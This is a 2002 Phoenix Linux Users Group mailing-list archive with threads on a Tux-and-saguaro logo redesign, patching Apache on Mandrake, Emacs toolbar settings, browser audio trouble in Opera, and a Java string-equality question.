> PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -----BEGIN PGP SIGNATURE----- > Version: PGPfreeware 6.5.8 for non-commercial use > > iQA/AwUBPRJ11I4p6zlv2o83EQJlBACg9QPRRwpUtFagsZmx+4ohqId7Or4An03Z > NHVf8BG+YOR87OAQxXS7VtaB > =rRqv > -----END PGP SIGNATURE----- > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 05:04:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 20 Jun 2002 22:04:10 -0700 Subject: Plug Logo Update References: Message-ID: <001701c218e1$14834290$2f7c0d82@peyote> good point. i will get Austin to create one with saguaro's as well. slr ----- Original Message ----- From: To: Sent: Thursday, June 20, 2002 7:25 PM Subject: Re: Plug Logo Update > It is beautiful, but... > > The saguaro cactus is very well known and both easily recognized and > automatically associated with Arizona. I think it is a mistake to change the > cacti in the logo to some other species. I would like to see it as majestic > saguaro cacti so our logo graphically announces our location in Arizona. > > Alan > > On Thu, 20 Jun 2002 17:26:50 -0700 slr wrote: > > well austin is the man, he is done. so for all you guys and gals who are > interested. you can view the image @ > > http://www.zen2now.com/tux/tux_wallpaper.jpg > > and of coarse feed back is welcome, just be nice. :~D > > slr > > On Thursday 20 June 2002 04:16 pm, slr wrote: > > I just wanted to give you guys an update on the progress of the new image. > > Austin is done with the complete re-draw of Tux, and i must say it is the > > most beautiful computer generated Tux image i have ever seen. the lines are > > so clean, and aliasing is non-existent on the edges and should remain that > > way no matter how big or small the image is. he would have already been > > done with it, but our CEO has slammed him with a lot of work. so hopefully > > by next week sometime we will have a complete vector image, and by looks of > > it so far, one we will all be very proud to hang across our upper torso's. > > :~D > > > > slr > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 07:28:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Fri, 21 Jun 2002 00:28:29 -0700 (MST) Subject: Plug Logo Update In-Reply-To: <001701c218e1$14834290$2f7c0d82@peyote> Message-ID: Am 20. Jun, 2002 schwätzte slr so: > good point. i will get Austin to create one with saguaro's as well. If we he does, can we impose further and get sag w/ and w/o blossoms? Saguaro blossom is the official flower of .az.us, so it'd be cool to have one with flowers, but they'd look like zits on small images... ciao, der.hans -- # https://www.LuftHans.com/ # "There are two kinds of people; Human beings and women. And when women # start acting like human beings, they are accused of trying to be men." # -- Simone de Beauvoir From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 07:38:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Joel Dudley) Date: Fri, 21 Jun 2002 00:38:29 -0700 Subject: Off-topic... Message-ID: <7D2FB294FA311F4299D03CC8D3904370716598@mainex5.asu.edu> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --Boundary_(ID_TXs/46g2FJeoupgPOyOTfg) Content-type: text/plain; charset="iso-8859-1" I'm a wannabe. I don't quite have a Mac yet but I will soon and I will be attempting to port some genomics apps to it. So consider me interested. Joel Dudley Faculty Research Associate Arizona State University Kumar Laboratory of Evolutionary Functional Genomics http://lsweb.la.asu.edu/skumar/ -----Original Message----- From: Jiva DeVoe [mailto:jivad@earthlink.net] Sent: Thursday, June 20, 2002 4:24 PM To: Plug-Discuss Subject: Off-topic... So sue me... I know there's some other Mac OSX users on here... Anyone besides me into coding on OSX? Or interested in learning about it? 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= --Boundary_(ID_TXs/46g2FJeoupgPOyOTfg)-- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 13:00:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Fri, 21 Jun 2002 06:00:00 -0700 Subject: Plug Logo Update In-Reply-To: References: Message-ID: <200206210600.00339.dennisk@sahuaro.f2s.com> On Friday 21 June 2002 12:28 am, der.hans wrote: > Am 20. Jun, 2002 schwätzte slr so: > > good point. i will get Austin to create one with saguaro's as well. > > If we he does, can we impose further and get sag w/ and w/o blossoms? > > Saguaro blossom is the official flower of .az.us, so it'd be cool to have > one with flowers, but they'd look like zits on small images... > > ciao, > > der.hans The logo is looking good! The prickley pear work for me. Any reason not to do both pear and sahuaro for variety? I'm thinking t-shirts! Dennis Kibbe From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 14:15:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Paul Dickson) Date: Fri, 21 Jun 2002 07:15:47 -0700 Subject: Emacs on RH 7.3 In-Reply-To: <1024243844.12004.23.camel@nabla.phx.viz> References: <1024243844.12004.23.camel@nabla.phx.viz> Message-ID: <20020621071547.50a64287.dickson@permanentmail.com> On 16 Jun 2002 09:10:43 -0700, Gordon Chamberlin wrote: > Is anyone else annoyed by the new GUI menu bar that emacs now places > right under the text menu bar on a stock installation of Redhat 7.3? > > I have looked for a way to remove it, but have been unsuccessful so > far. If anyone could tell me the magic incantation configuration > setting that needs to be invoked, I would be very grateful. I really > want that space back to display information. > May I ask why you didn't look in the options menu? There is an option "Customize Emacs" with sub-option like "Browse Customization Groups". I disabled the toolbar that way, although I left the menu bar (so Emacs appears like it did in version 20). Perhaps this method was too obvious. :-) I'm running RH 7.2, but I've been updating various applications with the versions from RH 7.3. Doing this has been pretty trivial, since RH didn't make any significant, incompatible changes (if they did, they'd probably have labeled it RH 8.0). -Paul From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 14:37:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 21 Jun 2002 07:37:14 -0700 Subject: Plug Logo Update References: <200206210600.00339.dennisk@sahuaro.f2s.com> Message-ID: <002701c21931$22b4c780$2f7c0d82@peyote> actually that is what i was thinking, but i didnt know how the rest of the group would feel about that. but IMHO, i think we should have both. slr ----- Original Message ----- From: "Dennis Kibbe" To: Sent: Friday, June 21, 2002 6:00 AM Subject: Re: Plug Logo Update > On Friday 21 June 2002 12:28 am, der.hans wrote: > > Am 20. Jun, 2002 schwätzte slr so: > > > good point. i will get Austin to create one with saguaro's as well. > > > > If we he does, can we impose further and get sag w/ and w/o blossoms? > > > > Saguaro blossom is the official flower of .az.us, so it'd be cool to have > > one with flowers, but they'd look like zits on small images... > > > > ciao, > > > > der.hans > > The logo is looking good! The prickley pear work for me. Any reason not to do > both pear and sahuaro for variety? > > I'm thinking t-shirts! > > Dennis Kibbe > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 14:57:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Fri, 21 Jun 2002 07:57:17 -0700 Subject: Plug Logo Update References: <200206210600.00339.dennisk@sahuaro.f2s.com> Message-ID: <3D133ECD.78A38C80@leml.asu.edu> Dennis Kibbe wrote: > > On Friday 21 June 2002 12:28 am, der.hans wrote: > > Am 20. Jun, 2002 schwätzte slr so: > > > good point. i will get Austin to create one with saguaro's as well. > > > > If we he does, can we impose further and get sag w/ and w/o blossoms? > > > > Saguaro blossom is the official flower of .az.us, so it'd be cool to have > > one with flowers, but they'd look like zits on small images... > > > > ciao, > > > > der.hans > > The logo is looking good! The prickley pear work for me. Any reason not to do > both pear and sahuaro for variety? using vector graphics we can easily mix and match the background... Sunbathing Tux, Surfing Tux, Mountainbiking Tux, Skeet-shootin (bill's picture on each ;-) Tux, Rambo Tux, ... ;-) > I'm thinking t-shirts! My family used to do T-shirts, but I do not thin we all still do... I could ask, but something that we do still do is custom tile. Would a Saguaro Tux on a 6" ceramic tile trivet go over well? In the dark and distant past we also used to run a full ceramics studio... I invision Suguaro and Prickly Tux on coffee mugs ;-) hmmm.... time to talk to mom see what's up ;-) EBo -- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 15:12:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Fri, 21 Jun 2002 08:12:30 -0700 (MST) Subject: Plug Certs? In-Reply-To: <3D125C0B.4070402@qwest.net> Message-ID: Sure! Which flavor Certs did you want, peppermint or wintergreen? From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 15:55:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Fri, 21 Jun 2002 08:55:32 -0700 (MST) Subject: apache upgrade Message-ID: Am on a Mandrake 7.2 box... I know there are remote exploits for Apache and I want to upgrade... Tried to use the Mandrake Update program to update Apache. it fails, with no sensible error message, so I'm trying to do it manually... Apparently there are about a dozen other RPMs apache depends on. This looked hopeless (download a.rpm, try to install, it wants b.rpm, download, it wants c.rpm, etc etc) So I downloaded the apache source rpm, but i can't install that because it wants gdbm-devel ... but there is no gdbm-devel rpm... so I'm stuck. Any ideas how to proceed? \\/ From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 16:04:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Fri, 21 Jun 2002 09:04:08 -0700 (PDT) Subject: Good Book on Programming and Algorithm Development Message-ID: <20020621160408.7595.qmail@web10604.mail.yahoo.com> Bill: Specifically, 'Java How to Program' from Dietel & Dietel is a really good book. Each chapter shows the programmer development techniques using the most commonly used algorithms (sorting, searching, recursion and some data structures like stacks and queues). The examples are very good, and the code explanation is very concise. I have a lot of 'useless' programming books - but this one is the best I've seen in a long time. Be prepared to shell out around $70 bucks for it though....But if you look around ...you will not find any book that matches it's subject matter. I Think they do a good job in explaining the in-and-outs of the specific programming language (in this case Java), and how to apply the common algorithms to the specific language. They have a series on Java Visual Basic (if anyone is interested) C C++ Python This list may be incomplete...But it's worth checking out.... ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 16:19:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Patrick Fleming EA) Date: Fri, 21 Jun 2002 09:19:51 -0700 (MST) Subject: apache upgrade In-Reply-To: Message-ID: http://rpmfind.net/linux/rpm2html/search.php?query=gdbm-devel&submit=Search+... I didn't see any for Madrake.. try the RH version(?) Suggestion only as I don't run Mandrake but use this site when I run into 'requires package => foo' On Fri, 21 Jun 2002, William Lindley wrote: > Am on a Mandrake 7.2 box... I know there are remote exploits for Apache > and I want to upgrade... > > Tried to use the Mandrake Update program to update Apache. it fails, with > no sensible error message, so I'm trying to do it manually... > > Apparently there are about a dozen other RPMs apache depends on. This > looked hopeless (download a.rpm, try to install, it wants b.rpm, download, > it wants c.rpm, etc etc) > > So I downloaded the apache source rpm, but i can't install that because it > wants gdbm-devel ... but there is no gdbm-devel rpm... so I'm stuck. > > Any ideas how to proceed? > > \\/ > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Patrick Fleming, EA http://myhdvest.com/patrickfleming Licensed to represent taxpayers before Exam, Appeals, and Conference divisions of the IRS From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 16:20:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 21 Jun 2002 09:20:55 -0700 (PDT) Subject: apache upgrade In-Reply-To: Message-ID: http://rpmfind.speakeasy.net is a MUCH faster mirror. On Fri, 21 Jun 2002, Patrick Fleming EA wrote: > > http://rpmfind.net/linux/rpm2html/search.php?query=gdbm-devel&submit=Search+... > > I didn't see any for Madrake.. try the RH version(?) Suggestion only as I > don't run Mandrake but use this site when I run into 'requires package => > foo' From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 16:25:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Fri, 21 Jun 2002 09:25:43 -0700 (PDT) Subject: Help getting experience Message-ID: <20020621162543.52195.qmail@web10602.mail.yahoo.com> Wow - when I saw the list, I realized I have a lot to learn. I'm a newbie in the computer field (I'm a software tech for a local software company), and the stuff on the list I hope I can pick up through the years... In the company I work for, I'm always looking over the programmer's shoulder and asking questions. The more questions you ask, the more you learn. Even though I went to school for IT, they never taught me the in's-and-outs of every-day programmings...just the basics. The stuff on your list is great, and any aspiring programmer will want to take a good look at it. BTW...my gut instinct tells me that the second example 'if (a.equals("something")){ ---instructions---- } will compile and work....I've seen this example before, but not sure why a.equals works rather than a == ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 16:37:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 21 Jun 2002 09:37:41 -0700 Subject: Plug Logo Update In-Reply-To: References: Message-ID: <200206210937.41191.zen2now@qwest.net> yes it is a little off center, but an easy fix. he didnt spend to much time, he grabbed one of the images from Larry's site to use as a template, and then did the redraw in like an hour. but the only vector based image @ http://www.isc.tamu.edu/~lewing/linux/ we could find, was a postscript version of the black and white penguin. that was why he decided to redraw it, but of coarse all credits for Tux himself should go to the owner. All that Austin has asked in return for his time is a T-Shirt. As for further work on the logo, that will have to resume on Monday. Austin has decided to take a long weekend and is not here today. I am going to have to talk to his boss! :~D slr On Thursday 20 June 2002 09:52 pm, Derek Neighbors wrote: > Is it just me or is teh Phoenix Linux on top not centered properly? > > Hopefully he didnt spend much time on 'redoing' Tux since LArry Ewing has > vector tux on his website already, also Larry does 'own' Tux, though he is > very generous and general just asks if you use Tux for merchandise that > you just provide him a piece of the merchandise for his 'collection'. > > -Derek > > On Thu, 20 Jun 2002 alandd@mindspring.com wrote: > > It is beautiful, but... > > > > The saguaro cactus is very well known and both easily recognized and > > automatically associated with Arizona. I think it is a mistake to change > > the cacti in the logo to some other species. I would like to see it as > > majestic saguaro cacti so our logo graphically announces our location in > > Arizona. > > > > Alan > > > > On Thu, 20 Jun 2002 17:26:50 -0700 slr wrote: > > > > well austin is the man, he is done. so for all you guys and gals who are > > interested. you can view the image @ > > > > http://www.zen2now.com/tux/tux_wallpaper.jpg > > > > and of coarse feed back is welcome, just be nice. :~D > > > > slr > > > > On Thursday 20 June 2002 04:16 pm, slr wrote: > > > I just wanted to give you guys an update on the progress of the new > > > image. Austin is done with the complete re-draw of Tux, and i must say > > > it is the most beautiful computer generated Tux image i have ever seen. > > > the lines are so clean, and aliasing is non-existent on the edges and > > > should remain that way no matter how big or small the image is. he > > > would have already been done with it, but our CEO has slammed him with > > > a lot of work. so hopefully by next week sometime we will have a > > > complete vector image, and by looks of it so far, one we will all be > > > very proud to hang across our upper torso's. > > > > > > :~D > > > > > > slr > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 17:00:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (charlie bullen) Date: Fri, 21 Jun 2002 10:00:30 -0700 Subject: Sound in opera - Linux at work Message-ID: <200206211753.g5LHrI205079@PlugList.MyButt.Net> Hi, So far Opera 6.01 is the only browser that does all I need it to do except 1 thing. I have a web page that downloads a wav file when certain events happen. I have to be able to hear the wave file. I can hear sound if it comes in as part of a shockwave file. When I go to the preferences section "Enable embedded audio" is grayed out . I think that perhaps the line in the page that brings in the sound file may be a prorietary Microsoft tag. I've asked the developer to email me the code, but haven't gotten it yet. The ability to hear this sound is ABSOLUTLEY ESSENTIAL if I am to continue using linux at work. HELP!!!! Charlie From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 17:26:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Fri, 21 Jun 2002 10:26:54 -0700 Subject: Sound in opera - Linux at work References: <200206211753.g5LHrI205079@PlugList.MyButt.Net> Message-ID: <005f01c21948$d8cd5430$0301010a@tickticker.com> Charlie, Is opera your only choice? Is this the end of Linux on your desktop? try mozilla, netscape or any of the other small army of browsers, one of them should do it. just not IE ;-) There are a couple sites out there that list them all, and hold on, try http://kmself.home.netcom.com/Linux/FAQs/browsers.html for a start. then you could also contact opera using one of the tools on http://www.opera.com/support/. they do have free email support Anthony ----- Original Message ----- From: "charlie bullen" To: Sent: Friday, June 21, 2002 10:00 AM Subject: Sound in opera - Linux at work > Hi, So far Opera 6.01 is the only browser that does all I need it to do > except 1 thing. I have a web page that downloads a wav file when certain > events happen. I have to be able to hear the wave file. > > I can hear sound if it comes in as part of a shockwave file. > > When I go to the preferences section "Enable embedded audio" is grayed out . > > I think that perhaps the line in the page that brings in the sound file may > be a prorietary Microsoft tag. I've asked the developer to email me the code, > but haven't gotten it yet. > > The ability to hear this sound is ABSOLUTLEY ESSENTIAL if I am to continue > using linux at work. > > > HELP!!!! > > Charlie > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 17:33:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Fri, 21 Jun 2002 10:33:17 -0700 (PDT) Subject: Apache expert at Installfest Message-ID: <20020621173317.73750.qmail@web10601.mail.yahoo.com> Hello Linux users: Will there be an Apache 'expert' tomorrow at installfest? I can bring my machine with RH 7.2. I just need help installing Apache and getting it to run. I have no clue. If anyone recommends a better distribution that runs Apache, rather than RH, should I just reformat my drive and use that distribution instead? BTW, is it easier just to bring the CPU, KB and mice? Will the event have monitors and mice we can temporarily use? Looking forward to meet 'yall.' ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 17:47:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 21 Jun 2002 10:47:21 -0700 Subject: apache upgrade Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B508@mail.int.fh.org> Not sure why you get all those dependencies, on my Red Hat 7.3 box I upgraded using RH's up2date and it only downloaded two rpm's (one program and one for the documentation) and installed it with no problem. Total size of the download was under 2 meg. Date: Fri, 21 Jun 2002 08:55:32 -0700 (MST) From: William Lindley To: Phoenix Linux Users Group Cc: Scott Walters Subject: apache upgrade Reply-To: plug-discuss@lists.plug.phoenix.az.us Am on a Mandrake 7.2 box... I know there are remote exploits for Apache and I want to upgrade... Tried to use the Mandrake Update program to update Apache. it fails, with no sensible error message, so I'm trying to do it manually... Apparently there are about a dozen other RPMs apache depends on. This looked hopeless (download a.rpm, try to install, it wants b.rpm, download, it wants c.rpm, etc etc) So I downloaded the apache source rpm, but i can't install that because it wants gdbm-devel ... but there is no gdbm-devel rpm... so I'm stuck. Any ideas how to proceed? \\/ From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 17:49:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 21 Jun 2002 10:49:41 -0700 (PDT) Subject: Apache expert at Installfest In-Reply-To: <20020621173317.73750.qmail@web10601.mail.yahoo.com> Message-ID: Yeah, I'll be there to help you with Apache. On Fri, 21 Jun 2002, Alpha Zenon Sanchez wrote: > Hello Linux users: > > Will there be an Apache 'expert' tomorrow at > installfest? I can bring my machine with RH 7.2. I > just need help installing Apache and getting it to > run. > > I have no clue. If anyone recommends a better > distribution that runs Apache, rather than RH, should > I just reformat my drive and use that distribution > instead? > > BTW, is it easier just to bring the CPU, KB and mice? > Will the event have monitors and mice we can > temporarily use? > > Looking forward to meet 'yall.' > > > ===== > Thanks, > Alpha Zenon Sanchez > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 17:51:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (charlie bullen) Date: Fri, 21 Jun 2002 10:51:42 -0700 Subject: Fwd: Re: Sound in opera - Linux at work Message-ID: <200206211844.g5LIiR205516@PlugList.MyButt.Net> ---------- Forwarded Message ---------- Subject: Re: Sound in opera - Linux at work Date: Fri, 21 Jun 2002 10:40:37 -0700 From: charlie bullen To: plug-discuss@lists.plug.phoenix.az.us I've tried Mozilla 1.0, Konquerer 2.2.1 and Opera 6.01. I'll try contacting opera by email as well, good idea. I have been told that I have to get sound working fast or I'm back to XP. Charlie On Friday 21 June 2002 10:26, you wrote: > Charlie, > > Is opera your only choice? Is this the end of Linux on your desktop? try > mozilla, netscape or any of the other small army of browsers, one of them > should do it. just not IE ;-) There are a couple sites out there that > list them all, and hold on, try > http://kmself.home.netcom.com/Linux/FAQs/browsers.html > > for a start. then you could also contact opera using one of the tools on > http://www.opera.com/support/. they do have free email support > > Anthony > > > ----- Original Message ----- > From: "charlie bullen" > To: > Sent: Friday, June 21, 2002 10:00 AM > Subject: Sound in opera - Linux at work > > > Hi, So far Opera 6.01 is the only browser that does all I need it to do > > except 1 thing. I have a web page that downloads a wav file when certain > > events happen. I have to be able to hear the wave file. > > > > I can hear sound if it comes in as part of a shockwave file. > > > > When I go to the preferences section "Enable embedded audio" is grayed > > out > > . > > > I think that perhaps the line in the page that brings in the sound file > > may > > > be a prorietary Microsoft tag. I've asked the developer to email me the > > code, > > > but haven't gotten it yet. > > > > The ability to hear this sound is ABSOLUTLEY ESSENTIAL if I am to > > continue using linux at work. > > > > > > HELP!!!! > > > > Charlie > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 18:09:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Isaac Sparrow) Date: Fri, 21 Jun 2002 11:09:44 -0700 Subject: Help getting experience In-Reply-To: <20020621162543.52195.qmail@web10602.mail.yahoo.com> References: <20020621162543.52195.qmail@web10602.mail.yahoo.com> Message-ID: <200206211109.49382.isaac.sparrow@visicomp.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Friday 21 June 2002 09:25 am, Alpha Zenon Sanchez wrote: > > BTW...my gut instinct tells me that the second example > > 'if (a.equals("something")){ > > ---instructions---- > > } > > will compile and work....I've seen this example > before, > but not sure why a.equals works rather than a == > > ===== > Thanks, > Alpha Zenon Sanchez > "a.equls()" tests to see if the objects are equal. Two diff. objects are equal. "==" will tell you if two refrences point to the same object. String a = "foo" String b = "foo" if (a.equals(b)) // true if (a == b) // false b = a if (a == b) // true Hope this helps. - -- - ------------------------------------------------- Isaac Sparrow Staff Engineer VisiComp, Inc. http://www.visicomp.com GnuPG Key Fingerprint: 1060 5A07 F6EC B2B3 9AAA 3EA5 7B79 EFE1 6397 4F47 Get my public key at: http://www.concentric.net/~issparow 'Mounten' wird fuer drei Dinge benutzt: 'Aufsitzen' auf Pferde, 'einklinken' von Festplatten in Dateisysteme, und, nun, 'besteigen' beim Sex. (Christa Keil in a German posting: "Mounting is used for three things: climbing on a horse, linking in a hard disk unit in data systems, and, well, mounting during sex".) -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: NSA bad. Encryption good. iD8DBQE9E2vse3nv4WOXT0cRArERAJ446bZ0bYzp4rvP3abvhwgECo+PjACdGGmL cY2XScj/BEnP6rGkL67HNng= =lN7s -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 18:35:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (G.D.Thurman) Date: Fri, 21 Jun 2002 11:35:02 -0700 (MST) Subject: Off-topic... In-Reply-To: <20020621071606.A31284@magusnet.com> Message-ID: On Fri, 21 Jun 2002, J.Francois wrote: > Maybe I should plan my next vacation around the PLUG meeting dates and doing > a presentation on FreeBSD instead. > Excellent. I hope your schedule allows you to do this. Is there an active Phoenix *BSD User Group? Thanks to MitchW for this URL to an interview with Jordan Hubbard. [Hubbard has not used Linux.] http://kerneltrap.org/node.php?id=278 G.D. Thurman [CS/CIS Instructor] http://deru.com/~gdt/ From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 19:12:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 21 Jun 2002 12:12:40 -0700 Subject: Fwd: Re: Sound in opera - Linux at work In-Reply-To: <200206211844.g5LIiR205516@PlugList.MyButt.Net> References: <200206211844.g5LIiR205516@PlugList.MyButt.Net> Message-ID: <1024686760.11131.9.camel@barney.azapple.com> ARe you sure that you have software on your computer that can play 'wav' files? Is is listed as a mime application? Craig On Fri, 2002-06-21 at 10:51, charlie bullen wrote: > > > ---------- Forwarded Message ---------- > > Subject: Re: Sound in opera - Linux at work > Date: Fri, 21 Jun 2002 10:40:37 -0700 > From: charlie bullen > To: plug-discuss@lists.plug.phoenix.az.us > > I've tried Mozilla 1.0, Konquerer 2.2.1 and Opera 6.01. I'll try contacting > opera by email as well, good idea. > > I have been told that I have to get sound working fast or I'm back to XP. > > Charlie > > On Friday 21 June 2002 10:26, you wrote: > > Charlie, > > > > Is opera your only choice? Is this the end of Linux on your desktop? try > > mozilla, netscape or any of the other small army of browsers, one of them > > should do it. just not IE ;-) There are a couple sites out there that > > list them all, and hold on, try > > http://kmself.home.netcom.com/Linux/FAQs/browsers.html > > > > for a start. then you could also contact opera using one of the tools on > > http://www.opera.com/support/. they do have free email support > > > > Anthony > > > > > > ----- Original Message ----- > > From: "charlie bullen" > > To: > > Sent: Friday, June 21, 2002 10:00 AM > > Subject: Sound in opera - Linux at work > > > > > Hi, So far Opera 6.01 is the only browser that does all I need it to do > > > except 1 thing. I have a web page that downloads a wav file when certain > > > events happen. I have to be able to hear the wave file. > > > > > > I can hear sound if it comes in as part of a shockwave file. > > > > > > When I go to the preferences section "Enable embedded audio" is grayed > > > out > > > > . > > > > > I think that perhaps the line in the page that brings in the sound file > > > > may > > > > > be a prorietary Microsoft tag. I've asked the developer to email me the > > > > code, > > > > > but haven't gotten it yet. > > > > > > The ability to hear this sound is ABSOLUTLEY ESSENTIAL if I am to > > > continue using linux at work. > > > > > > > > > HELP!!!! > > > > > > Charlie > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your 